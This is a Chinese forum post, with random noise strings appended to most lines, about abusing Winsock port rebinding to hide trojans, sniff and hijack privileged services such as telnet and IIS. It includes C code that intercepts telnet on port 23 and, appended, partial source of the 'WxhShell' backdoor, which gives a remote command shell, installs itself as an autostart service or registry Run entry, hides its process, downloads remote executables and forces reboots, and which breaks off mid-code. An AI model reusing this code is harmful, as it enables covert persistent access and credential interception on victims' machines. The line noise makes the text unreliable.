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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FoKAF &h7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kSUpEV+/  
cii! WCu  
  saddr.sin_family = AF_INET; 5fvY#6;  
iXPe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e-EY]%JO  
<|>7?#s2=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <$@*'i^7Ez  
YIn H8Ex  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vPce6 Cl*  
kn9e7OO##  
  这意味着什么?意味着可以进行如下的攻击: Yc3Rq4I'G  
Wz+7CRpeP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x='T`*HD  
vrX@T ?>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [X^Oxs  
ZW@%>_JR]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z@Uf@~+U  
5Z_7Sc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yKB&][)&  
lO/?e!$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]t)#,'$^[W  
`|`Qrv 4}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,a'Y^[4k?  
J^gElp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rE?Fp  
,LodP%%UV  
  #include U9(p ^  
  #include ! _p(H  
  #include vw)lD9-"  
  #include    k];NTALOG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )cV*cDL1j  
  int main() sLze/D_M*  
  { kCHYLv3.  
  WORD wVersionRequested; tl"?AQcBR  
  DWORD ret; yOswqhz  
  WSADATA wsaData; yFY:D2  
  BOOL val; LK:Jkjp^  
  SOCKADDR_IN saddr; C )J@`E  
  SOCKADDR_IN scaddr; %DhM}f  
  int err; srQ]TYH ,  
  SOCKET s; M37GQvo   
  SOCKET sc; Nv5)A=6#AA  
  int caddsize; +rFAo00E|  
  HANDLE mt; g>pvcf(  
  DWORD tid;   %CIRN}  
  wVersionRequested = MAKEWORD( 2, 2 ); 3%L@=q  
  err = WSAStartup( wVersionRequested, &wsaData ); ><wYk)0E  
  if ( err != 0 ) { O6"S=o&  
  printf("error!WSAStartup failed!\n"); 6%a:^f]  
  return -1; @8eQ|.q]Q  
  } *?3c2Jg=E  
  saddr.sin_family = AF_INET; Ku`u%5<  
   $(fhO   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .K`EflN  
wCgi@\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {'a|$u+  
  saddr.sin_port = htons(23); {$QkerW3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FH)_L1n  
  { >K n7A  
  printf("error!socket failed!\n"); &>A<{J@VL  
  return -1; i_f\dkol  
  } !hjA   
  val = TRUE; Ox%p"xuP,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (sqI:a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e#odr{2#4u  
  { *!MMl]gU?  
  printf("error!setsockopt failed!\n"); 2bu>j1h  
  return -1; GyF  
  } m[DCA\M o@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9>k_z&<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4l'`q+^-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *2>kic aH  
W 9!K~g_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { RC&Ub>  
  { :5[1Iepdn  
  ret=GetLastError(); @! {Y9k2  
  printf("error!bind failed!\n"); e+<'=_x {  
  return -1; ?/q\S  
  } mqK}y K^P]  
  listen(s,2); A)_HSIVi  
  while(1) `8/D$  
  { i:60|ngK  
  caddsize = sizeof(scaddr); \b*z<Odv  
  //接受连接请求 LYO2L1u)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1ne3CA=  
  if(sc!=INVALID_SOCKET) K05U>151  
  { gy Ey=@L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $.x,[R aN  
  if(mt==NULL) +_1sFH`  
  { g.pR4Mf=Z  
  printf("Thread Creat Failed!\n"); NwyNl  
  break; L+8{%\UPd  
  } ]d~2WX Y  
  } g OK   
  CloseHandle(mt); &%`WXe-`R  
  } m5v IS  
  closesocket(s); GfV#^qi  
  WSACleanup(); K3k{q90   
  return 0; Lp) P7Yt-  
  }   01~ nC@;  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~REfr}0  
  { r{ KQ3j9O  
  SOCKET ss = (SOCKET)lpParam; 24u_}ZQzY  
  SOCKET sc; wC?$P  
  unsigned char buf[4096]; uUb`Fy9  
  SOCKADDR_IN saddr; IN75zn*%  
  long num; ]$=#:uf  
  DWORD val; 03c8VKp'p  
  DWORD ret; M!aJKpf  
  //如果是隐藏端口应用的话,可以在此处加一些判断  C TKeY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GvZ[3GT  
  saddr.sin_family = AF_INET; Sm{> 8e}UE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *M/ :W =,t  
  saddr.sin_port = htons(23); m(D+!I9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y]tbwOle  
  { 1|m%xX,[  
  printf("error!socket failed!\n"); pp{ 2[>  
  return -1; hd]ts.  
  } R?IRE91 :  
  val = 100; p|?FA@ 3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Py*%}r1  
  { a`R_}nus*  
  ret = GetLastError(); d<6m_! L  
  return -1; CXi[$nF3  
  }  md,KRE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9s1^hW2%Q  
  { 7Ie=(x8):  
  ret = GetLastError(); LmytO$?2(  
  return -1; fm L8n<1  
  } d8iq9AP\o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eC94rcb}i{  
  { S9{A}+"K  
  printf("error!socket connect failed!\n"); jtUqrJFlQ  
  closesocket(sc); &isKU 8n  
  closesocket(ss); {PR "}x  
  return -1; rzs-c ?  
  } )xiu \rC  
  while(1) [N12X7O3  
  { d&\3}uH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~oJ"si  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =^SxZ Bn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \2]_NU5.  
  num = recv(ss,buf,4096,0); S@g(kIo]  
  if(num>0) ?(n v_O  
  send(sc,buf,num,0); >ZW|wpO  
  else if(num==0) Z/dhp0k  
  break; 4Us_Z{.  
  num = recv(sc,buf,4096,0); ]x{.qTtw  
  if(num>0) r?IBmatK/  
  send(ss,buf,num,0); 0zE@?.  
  else if(num==0) k(M:#oA!  
  break; [Ky3WppR  
  } x FWhr#5,  
  closesocket(ss); ,ryL( "G  
  closesocket(sc); R1D ;  
  return 0 ; aHVzBcCPh  
  } #y[U2s Se  
I~ :gi@OVV  
u88wSe<\X  
========================================================== !?v_.  
yYaoA/0  
下边附上一个代码,,WXhSHELL G[`1Yw$  
o+B)  
========================================================== 6i2%EC9  
P#,;)HF  
#include "stdafx.h" 6JDaZh"=K  
_CfJKp)  
#include <stdio.h> hHGuD2%  
#include <string.h> &w#!   
#include <windows.h> bMGn&6QiP[  
#include <winsock2.h> N0.|Mb"?t  
#include <winsvc.h> R(`:~@ 3\6  
#include <urlmon.h> 993f6  
A4'5cR9T!  
#pragma comment (lib, "Ws2_32.lib") ICvV}%d  
#pragma comment (lib, "urlmon.lib") ZZ7qSyBs?  
0/b  _T  
#define MAX_USER   100 // 最大客户端连接数 ,wwO0,"y7  
#define BUF_SOCK   200 // sock buffer T!8^R|!a6  
#define KEY_BUFF   255 // 输入 buffer Y}1c>5{bE  
s4~[GO6>  
#define REBOOT     0   // 重启 5,pNqXRp  
#define SHUTDOWN   1   // 关机 ocFk#FW  
z -!w/Bv@  
#define DEF_PORT   5000 // 监听端口 Aeb(b+=  
XzHR^^;u"*  
#define REG_LEN     16   // 注册表键长度 #3QPcoxa  
#define SVC_LEN     80   // NT服务名长度 qD4]7"9  
S0)JIrrHC  
// 从dll定义API oojl"j4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z@i4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $[A\i<#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pYx,*kG:HW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D]]wJQU2  
viG,z4Zf  
// wxhshell配置信息 )63 $,y-;$  
struct WSCFG { =c'4rJ$+  
  int ws_port;         // 监听端口 L%T(H<G  
  char ws_passstr[REG_LEN]; // 口令 {d'-1z"q  
  int ws_autoins;       // 安装标记, 1=yes 0=no pA ~} _  
  char ws_regname[REG_LEN]; // 注册表键名 >%k6k1CZ  
  char ws_svcname[REG_LEN]; // 服务名 yQE'!m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MQQm3VaKS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]x r0]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W&IG,7tr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W n'a'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {aUnOyX_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =/!lK&  
y%SxQA +\  
}; 3R3H+W0{  
~w+I2oS$  
// default Wxhshell configuration 4b`E/L}2  
struct WSCFG wscfg={DEF_PORT, lL:a}#qxU  
    "xuhuanlingzhe", N2v/<  
    1, S^eem_C  
    "Wxhshell", x9vSekV  
    "Wxhshell", x,!Dd  
            "WxhShell Service", (?fU l$q\  
    "Wrsky Windows CmdShell Service", <X:JMj+  
    "Please Input Your Password: ", }l|S]m!  
  1, ~v+kO~  
  "http://www.wrsky.com/wxhshell.exe", ->8Kd1^F  
  "Wxhshell.exe" l1)~WqhE}  
    }; mdWA5p(  
V4n~Z+k  
// 消息定义模块 .eR1\IAm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H#~gx_^U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P>V oA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )*~A|[  
char *msg_ws_ext="\n\rExit."; z uV%`n  
char *msg_ws_end="\n\rQuit."; "bm|p/A  
char *msg_ws_boot="\n\rReboot..."; 5#,H&ui\  
char *msg_ws_poff="\n\rShutdown..."; Vx h39eW  
char *msg_ws_down="\n\rSave to "; ]YgR  
An{>39{  
char *msg_ws_err="\n\rErr!"; Y%XF64)6  
char *msg_ws_ok="\n\rOK!"; *siX:?l  
~U0%}Bbh  
char ExeFile[MAX_PATH]; <RY =y?%z  
int nUser = 0; ; oyV8P$  
HANDLE handles[MAX_USER]; 2R[v*i^S  
int OsIsNt; /jG?PZ=m  
b=,B Le\  
SERVICE_STATUS       serviceStatus; mn7I# ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gV2vwe  
J~m$7T3Af  
// 函数声明 m,k 0 h%  
int Install(void); r5}p .  
int Uninstall(void); um.ZAS_kmc  
int DownloadFile(char *sURL, SOCKET wsh); S&_03  
int Boot(int flag); 'D+xs}\  
void HideProc(void); rH3U;K!  
int GetOsVer(void); c/|{yp$Ga>  
int Wxhshell(SOCKET wsl); *;fTiL  
void TalkWithClient(void *cs); T$5wH )<  
int CmdShell(SOCKET sock); L4>14D\  
int StartFromService(void); 2~kx3` Q  
int StartWxhshell(LPSTR lpCmdLine); ^kKLi  
/)ZjI W"|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FDMQ Lxf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jHFjd'  
Uwc%'=@  
// 数据结构和表定义 X:GRjoa  
SERVICE_TABLE_ENTRY DispatchTable[] = &C9IR,&  
{ EYT^*1,E*  
{wscfg.ws_svcname, NTServiceMain},  FA+HR  
{NULL, NULL} 6}^x#9\  
}; y2A\7&7  
@t%da^-HS"  
// 自我安装 .U!EA0B  
int Install(void) . g#}2:3  
{ 4uXGp sL  
  char svExeFile[MAX_PATH]; $*C }iJsF  
  HKEY key; w2s`9  
  strcpy(svExeFile,ExeFile); ?"yjgt7+y  
!j6 k]BgZ  
// 如果是win9x系统,修改注册表设为自启动 s41%A2Enh  
if(!OsIsNt) { <Wn~s=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { suN6(p(.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9xQ|Uad+%  
  RegCloseKey(key); e>MtDJ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2{ F-@}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uw+nll*W%  
  RegCloseKey(key); >z<L60S  
  return 0; q,P.)\0A  
    } /!]K+6>u  
  } 7X$CJ%6b  
} Et0gPX-  
else { '.v;/[0  
-wn-PB@r  
// 如果是NT以上系统,安装为系统服务 56pj(}eq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y=XDN:  
if (schSCManager!=0) sp\6-*F  
{ 6tH}&#K  
  SC_HANDLE schService = CreateService ~VsN\!G  
  ( 6s@!Yn|?  
  schSCManager, v}DNeIh~  
  wscfg.ws_svcname, 7ys' [G|}r  
  wscfg.ws_svcdisp, @K"$M>n$Z  
  SERVICE_ALL_ACCESS, OX;bA^+}P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , If&))$7u  
  SERVICE_AUTO_START, h% -=8l,  
  SERVICE_ERROR_NORMAL, @/#G2<Vp1  
  svExeFile, awzlLI<2p  
  NULL, H k}P  
  NULL, $ .tT  
  NULL, ;~F* 2)  
  NULL, #VhdYDbW  
  NULL G? SPz  
  ); > )4~,-;k  
  if (schService!=0) !!.@F;]W  
  { jZ~girA  
  CloseServiceHandle(schService); o6u^hG6~'  
  CloseServiceHandle(schSCManager); g3ukx$Q{>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C^$E#|E9N  
  strcat(svExeFile,wscfg.ws_svcname); )v(rEY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =ls+vH40&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1feVFRx'  
  RegCloseKey(key); Yup#aeXY/  
  return 0; tar/no  
    } R&!;(k0  
  } %s}{5Qcl/  
  CloseServiceHandle(schSCManager); :a8Sy("  
} *$cx7yJ  
} =sW K;`  
'l<#;{  
return 1; myo4`oH  
} H ezbCwsx&  
U%F a.bL~  
// 自我卸载 P,8TO-e7  
int Uninstall(void) BiU>h.4=\(  
{ _#~D{91 j:  
  HKEY key; 3uw3 [ SR1  
N!7?D'y   
if(!OsIsNt) { l(1.Ll  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5B%KiE&p  
  RegDeleteValue(key,wscfg.ws_regname); xZ'C(~t  
  RegCloseKey(key); 3=wcA/"!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Vbd su9  
  RegDeleteValue(key,wscfg.ws_regname); \>\ERVEd  
  RegCloseKey(key); z&9ljQ iF  
  return 0; s58dHnj5+  
  } >JNdtP8s/1  
} CL7_3^2qI  
} 3_RdzW}f  
else { !}} )f/  
K7s[Fa6J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2a-]TVL3  
if (schSCManager!=0) jct=Nee|  
{ odL* _<Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8}BM`@MG  
  if (schService!=0) 1#L%Q(G  
  { P:Q&lnC  
  if(DeleteService(schService)!=0) { ,./ n@.na  
  CloseServiceHandle(schService); 2(uh7#Q  
  CloseServiceHandle(schSCManager); ;QVTb3Th  
  return 0; |QZ E  
  } *QN,w BQ  
  CloseServiceHandle(schService); 0`pCgF  
  } <XrXs  
  CloseServiceHandle(schSCManager); ?yG[VW  
} "Pc}-&  
} JV,h1/a("  
8yIBx%"4MH  
return 1; W2`3PEa  
} fNda&  
R o{xprE1  
// 从指定url下载文件 O\!'Ds+gX  
int DownloadFile(char *sURL, SOCKET wsh) 3 K||(  
{ 1Y"9<ry  
  HRESULT hr; jjrE8[  
char seps[]= "/"; ;P' 5RCqj  
char *token; Y{~`g(~9_A  
char *file; K:13t|  
char myURL[MAX_PATH]; ,5U[#6^  
char myFILE[MAX_PATH]; "kFNOyj3\  
NVQ.;"2w  
strcpy(myURL,sURL); ,+d8   
  token=strtok(myURL,seps); \R9izuc9  
  while(token!=NULL) P@bPdw!JA  
  { CY':'aWfa<  
    file=token; o;DK]o>kH  
  token=strtok(NULL,seps); R:l&2  
  } k{{ Y2B?C  
-k:x e:$  
GetCurrentDirectory(MAX_PATH,myFILE); p5"pQe S  
strcat(myFILE, "\\"); tYgHJ~1L*  
strcat(myFILE, file); E>/~:  
  send(wsh,myFILE,strlen(myFILE),0); UvU@3[fw  
send(wsh,"...",3,0); n5oX51J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n2_;:=  
  if(hr==S_OK) \ -Xtb m  
return 0; p7{H "AC  
else cDYO Ju.  
return 1; LRaO}-<b  
!5h8sD;  
} +BO kHXk1  
'.N}oL<gP  
// 系统电源模块 ]1zud  
int Boot(int flag) /oJ &\pI  
{ U8gj\G\`  
  HANDLE hToken; KT 6 ppo  
  TOKEN_PRIVILEGES tkp; R-<8j`[0  
>hSu1s:  
  if(OsIsNt) { E ?bqEW(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h 2JmRO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d@$bPQQ$,  
    tkp.PrivilegeCount = 1; o~CEja &(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ iDVd2X"H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r| ]YS6  
if(flag==REBOOT) { q$b 4S4Z7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !;vv-v,LQ  
  return 0; VR1[-OE  
} {98e_z w  
else { }CZw'fhVWO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O&y`:#  
  return 0; }kItVx  
} K1R?Qt,qDF  
  } p_]b=3wt~  
  else { ,~1sZ`C  
if(flag==REBOOT) { =-r); d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~#P]NWW%.  
  return 0; E`@Z9k1 `  
} XjP;O,x  
else { G3]#Du  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jd v;+HN[  
  return 0; M=&,+#z<V  
} '|yCDBu  
} `jr?I {m;  
8HZ+r/j  
return 1; RP+)sCh  
} Z^'\()3t  
}a9G,@:k  
// win9x进程隐藏模块 YHu]\'Ff  
void HideProc(void) ]e7?l/N[  
{ $?k]KD  
3Z me?o*bY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1kvs2  
  if ( hKernel != NULL ) mW{>  
  { PXJ7Ek*/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nP*%N|0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H|wP8uQC  
    FreeLibrary(hKernel); H=f| X<8  
  } )i[Vq|n  
-TG ="U  
return; wD{c$TJ?{F  
} pz)>y&_o  
_'L16@q  
// 获取操作系统版本 -MTYtw(  
int GetOsVer(void) K r|.I2?"  
{ ^[Ka+E^Q  
  OSVERSIONINFO winfo;  O&|<2Qr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *W^ZXhrZ  
  GetVersionEx(&winfo); r;[=y<Yf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +DR$>a  
  return 1; T{f$S  
  else +`{OOp=  
  return 0; 02*qf:kTnA  
} 'U`;4AN  
w=rD8 @  
// 客户端句柄模块 u-4@[*^T$  
int Wxhshell(SOCKET wsl) DC-d@N+  
{ {N/%%O.b  
  SOCKET wsh; \#B<'J9.`  
  struct sockaddr_in client; iQ2j ejd3(  
  DWORD myID; S >CKm:7  
%Pt){9b  
  while(nUser<MAX_USER) /}L2LMIm  
{ s<k2vbhI  
  int nSize=sizeof(client); vPz7*w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x(eX.>o\  
  if(wsh==INVALID_SOCKET) return 1; :N$-SV  
r-.@MbBm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h"0)spF"d  
if(handles[nUser]==0) /"j 3B\`?  
  closesocket(wsh); ;`:YZ+2 Z  
else 1,bE[_  
  nUser++; ,#&7+e!]>P  
  } 5Lej_uqF   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T>L?\-  
 fPPP|  
  return 0; SZHgXl3:  
} p WJ EFm  
`V\?YS}  
// 关闭 socket 7>F{.\Z  
void CloseIt(SOCKET wsh) ^sLx3a  
{ 8iJB'#''*  
closesocket(wsh); HRDpFMA/~  
nUser--; uy3<2L#.  
ExitThread(0); s51$x M  
} :V)jm`)#+  
LJ(WU)CPc  
// 客户端请求句柄 )O~[4xV~  
void TalkWithClient(void *cs) |/*Pimk  
{ WVy'f|3;  
`um,S  
  SOCKET wsh=(SOCKET)cs; MePD:;mm^  
  char pwd[SVC_LEN]; G:=hg6 '  
  char cmd[KEY_BUFF]; -Ks>s  
char chr[1]; FLqN3D=yQ  
int i,j; !.] JiT'o  
-1g :3'% P  
  while (nUser < MAX_USER) { +J X;T(T  
V0\[|E;F  
if(wscfg.ws_passstr) { Cl}nP UoL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9B: 3Ha=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Dq4Q|C  
  //ZeroMemory(pwd,KEY_BUFF); T pkSY`T  
      i=0; W_\zx<m  
  while(i<SVC_LEN) { x%G3L\ 5  
??rS h Mu  
  // 设置超时 9)q3cjP{<  
  fd_set FdRead; Wy}I"q[~So  
  struct timeval TimeOut; =Ph8&l7~sp  
  FD_ZERO(&FdRead); XIHN6aQ{X  
  FD_SET(wsh,&FdRead); -Aj)<KNx[  
  TimeOut.tv_sec=8; e#(Ck{e  
  TimeOut.tv_usec=0; Kx__&a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ff"wg\O4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }htjT/Nm  
tMIYVHGy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Aw o)a8e  
  pwd=chr[0]; ~C.*Vc?|  
  if(chr[0]==0xd || chr[0]==0xa) { 1uw#;3<L  
  pwd=0; 6OES'3Cy  
  break; *eVq(R9?T  
  } XpIiJry!6  
  i++; rz?Cn X.t  
    } J3K=z  
\oQ]=dDCd%  
  // 如果是非法用户,关闭 socket Ykbg5Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _"DS?`z6  
} (C2 XFg_  
g*| j+<:7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \{,TpK.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :$5A3i  
IUcL*  
while(1) { pJpapA2l*6  
)xGAe#E~j  
  ZeroMemory(cmd,KEY_BUFF); 30Q p^)K  
) nfoDG#O  
      // 自动支持客户端 telnet标准   A KNx~!%2  
  j=0; v\0G`&^1  
  while(j<KEY_BUFF) { yqK4 "F&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qfkHGW?1/j  
  cmd[j]=chr[0]; |.IH4 K  
  if(chr[0]==0xa || chr[0]==0xd) { ^S9y7b^;r  
  cmd[j]=0; h`fVQN.3  
  break; CUA @CZ6{  
  } DT1gy:?L  
  j++; x%P|T3Qy5  
    } "(koR Q  
Gn]36~)*H  
  // 下载文件 .p`4>XA  
  if(strstr(cmd,"http://")) { g8),$:Uw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); # kI>  
  if(DownloadFile(cmd,wsh)) R#(0C(FI^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F /b`[  
  else X>%nzY]m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<2GtF1"o  
  } snV*gSUH  
  else { =bC +1 C  
A 5?"  
    switch(cmd[0]) { ]-PzN'5\'  
  I0=_=aZO(  
  // 帮助 gwZ<$6  
  case '?': { &4'< {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .J#'k+>  
    break; aD/Rr3v>  
  } E$d3+``  
  // 安装 FoefBo?g65  
  case 'i': { OfsP5*d  
    if(Install()) #F*|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3ZN0j69|  
    else l/$GF|`U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Fb}zPU!  
    break; GnV0~?  
    } <?jd NM  
  // 卸载 93-Y(Xx)bY  
  case 'r': { ~m%[d. }e  
    if(Uninstall()) >&L|oq7$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $o"nTl  
    else k<1yv$/mW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QWmE:F[M~  
    break; O9gq <d  
    } |J`EM7qMK  
  // 显示 wxhshell 所在路径 TyxIlI4"  
  case 'p': { :-&|QVH  
    char svExeFile[MAX_PATH]; vccWe7rh  
    strcpy(svExeFile,"\n\r"); LyUn!zV$(  
      strcat(svExeFile,ExeFile); BEZ~<E&0H  
        send(wsh,svExeFile,strlen(svExeFile),0); 1I Yip\:lS  
    break; Pms@!yce  
    } ^<]'?4m]  
  // 重启 [^>XR BSm  
  case 'b': { a"~o'W7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hg+<GML  
    if(Boot(REBOOT)) P{L=u74b{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7GA8sK  
    else { Wj{lb_Rj  
    closesocket(wsh); B|(g?  
    ExitThread(0); F[qXIL)  
    } t2&kGf"  
    break; :WhJDx`j  
    } sW^M  ]  
  // 关机 &K[*vyD  
  case 'd': { CjdM*#9lW  
